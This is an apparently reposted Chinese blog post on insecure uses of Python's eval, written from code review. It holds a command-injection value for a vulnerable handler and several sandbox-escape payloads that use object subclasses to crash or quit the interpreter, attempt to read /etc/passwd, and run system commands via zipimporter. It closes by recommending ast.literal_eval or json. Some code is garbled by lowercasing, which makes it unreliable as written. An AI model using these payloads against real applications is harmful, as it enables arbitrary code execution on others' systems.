python中的eval函数的用法
Python eval的常见错误封装及利用原理详解
最近在代码评审的过程，发现挺多错误使用eval导致代码注入的问题，比较典型的就是把eval当解析dict使用，有的就是简单的使用eval，有的就是错误的封装了eval，供全产品使用，这引出的问题更严重，这些都是血淋淋的教训，大家使用的时候多加注意。
下面列举一个实际产品中的例子，详情见[bug83055][1]：
1
2
3
def remove(request, obj)：
query = query2dict(request.post)
eval(query['oper_type'])(query, customer_obj)
而query就是post直接转换而来，是用户可直接控制的，假如用户在url参数中输入oper_type=__import__('os').system('sleep 5') 则可以执行命令sleep，当然也可以执行任意系统命令或者任意可执行代码，危害是显而易见的，那我们来看看eval到底是做什么的，以及如何做才安全？
1，做什么
简单来说就是执行一段表达式
1
2
3
4
5
6
7
8
9
>>> eval('2+2')
4
>>> eval("""{'name':'xiaoming','ip':'10.10.10.10'}""")
{'ip': '10.10.10.10', 'name': 'xiaoming'}
>>> eval("__import__('os').system('uname')", {})
linux
0
从这三段代码来看，第一个很明显做计算用，第二个把string类型数据转换成python的数据类型，这里是dict，这也是咱们产品中常犯的错误。第三个就是坏小子会这么干，执行系统命令。
eval 可接受三个参数，eval(source[, globals[, locals]]) -> value
globals必须是路径，locals则必须是键值对，默认取系统globals和locals
2，不正确的封装
（1）下面我们来看一段咱们某个产品代码中的封装函数，见[bug][2]，或者网络上搜索排名比较高的代码，eg：
1
2
3
4
5
6
7
8
9
10
def safe_eval(eval_str):
try:
#加入命名空间
safe_dict = {}
safe_dict['true'] = true
safe_dict['false'] = false
return eval(eval_str,{'__builtins__':none},safe_dict)
except exception,e:
traceback.print_exc()
return ''
在这里__builtins__置为空了，所以像__import__这是内置变量就没有了，这个封装函数就安全了吗？下面我一步步道来：
>>> dir(__builtins__)
['arithmeticerror', 'assertionerror', 'attributeerror', 'baseexception', 'buffererror', 'byteswarning', 'deprecationwarning', 'eoferror', 'ellipsis', 'environmenterror', 'exception', 'false', 'floatingpointerror', 'futurewarning', 'generatorexit', 'ioerror', 'importerror', 'importwarning', 'indentationerror', 'indexerror', 'keyerror', 'keyboardinterrupt', 'lookuperror', 'memoryerror', 'nameerror', 'none', 'notimplemented', 'notimplementederror', 'oserror', 'overflowerror', 'pendingdeprecationwarning', 'referenceerror', 'runtimeerror', 'runtimewarning', 'standarderror', 'stopiteration', 'syntaxerror', 'syntaxwarning', 'systemerror', 'systemexit', 'taberror', 'true', 'typeerror', 'unboundlocalerror', 'unicodedecodeerror',
列表项
‘unicodeencodeerror', ‘unicodeerror', ‘unicodetranslateerror', ‘unicodewarning', ‘userwarning', ‘valueerror', ‘warning', ‘zeroliisionerror', ‘_', ‘debug‘, ‘doc‘, ‘import‘, ‘name‘, ‘package‘, ‘abs', ‘all', ‘any', ‘apply', ‘basestring', ‘bin', ‘bool', ‘buffer', ‘bytearray', ‘bytes', ‘callable', ‘chr', ‘classmethod', ‘cmp', ‘coerce', ‘compile', ‘complex', ‘copyright', ‘credits', ‘delattr', ‘dict', ‘dir', ‘limod', ‘enumerate', ‘eval', ‘execfile', ‘exit', ‘file', ‘filter', ‘float', ‘format', ‘frozenset', ‘getattr', ‘globals', ‘hasattr', ‘hash', ‘help', ‘hex', ‘id', ‘input', ‘int', ‘intern', ‘isinstance', ‘issubclass', ‘iter', ‘len', ‘license', ‘list', ‘locals', ‘long', ‘map', ‘max', ‘memoryview', ‘min', ‘next', ‘object', ‘oct', ‘open', ‘ord', ‘pow', ‘print', ‘property', ‘quit', ‘range', ‘raw_input', ‘reduce', ‘reload', ‘repr', ‘reversed', ‘round', ‘set', ‘setattr', ‘slice', ‘sorted', ‘staticmethod', ‘str', ‘sum', ‘super', ‘tuple', ‘type', ‘unichr', ‘unicode', ‘vars', ‘xrange', ‘zip']
从__builtins__可以看到其模块中有__import__,可以借助用来执行os的一些操作。如果置为空，再去执行eval函数呢，结果如下：
1
2
3
4
5
>>> eval("__import__('os').system('uname')", {'__builtins__':{}})
traceback (most recent call last):
file "
file "
nameerror: name '__import__' is not defined
现在就是提示__import__未定义，不能成功执行了，看情况是安全了吧？答案当然是错的。
比如执行如下：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
>>> s = """
... (lambda fc=(
... lambda n: [
... c for c in
... ().__class__.__bases__[0].__subclasses__()
... if c.__name__ == n
... ][0]
... ):
... fc("function")(
... fc("code")(
... 0,0,0,0,"test",(),(),(),"","",0,""
... ),{}
... )()
... )()
... """
>>> eval(s, {'__builtins__':{}})
segmentation fault (core dumped)
在这里用户定义了一段函数，这个函数调用，直接导致段错误
下面这段代码则是退出解释器：
1
2
3
4
5
6
7
8
9
10
>>>
>>> s = """
... [
... c for c in
... ().__class__.__bases__[0].__subclasses__()
... if c.__name__ == "quitter"
... ][0](0)()
... """
>>> eval(s,{'__builtins__':{}})
liaoxinxi@rcm-rsas-v6-dev ~/tools/auto_judge $
初步理解一下整个过程：
>>> ().__class__.__bases__[0].__subclasses__()
[
这句python代码的意思就是找tuple的class，再找它的基类，也就是object，再通过object找他的子类，具体的子类也如代码中的输出一样。从中可以看到了有file模块，zipimporter模块，是不是可以利用下呢？首先从file入手
假如用户如果构造：
1
2
3
4
5
6
7
8
9
10
11
12
>>> s1 = """
... [
... c for c in
... ().__class__.__bases__[0].__subclasses__()
... if c.__name__ == "file"
... ][0]("/etc/passwd").read()()
... """
>>> eval(s1,{'__builtins__':{}})
traceback (most recent call last):
file "
file "
ioerror: file() constructor not accessible in restricted mode
这个restrictected mode简单理解就是python解释器的沙盒，一些功能被限制了，比如说不能修改系统，不能使用一些系统函数，如file，详情见restricted execution mode，那怎么去绕过呢？这时我们就想到了zipimporter了，假如引入的模块中引用了os模块，我们就可以像如下代码来利用。
1
2
3
4
5
6
7
8
9
>>> s2="""
... [x for x in ().__class__.__bases__[0].__subclasses__()
... if x.__name__ == "zipimporter"][0](
... "/home/liaoxinxi/eval_test/configobj-4.4.0-py2.5.egg").load_module(
... "configobj").os.system("uname")
... """
>>> eval(s2,{'__builtins__':{}})
linux
0
这就验证了刚才的safe_eval其实是不安全的。
3，如何正确使用
（1）使用ast.literal_eval
（2）如果仅仅是将字符转为dict，可以使用json格式
以上就是本文的全部内容，希望对大家的学习有所帮助，也希望大家多多支持开心学习网。
原文链接：http://xxlegend.com/2015/07/31/Python%20eval的常见错误封装及利用原理/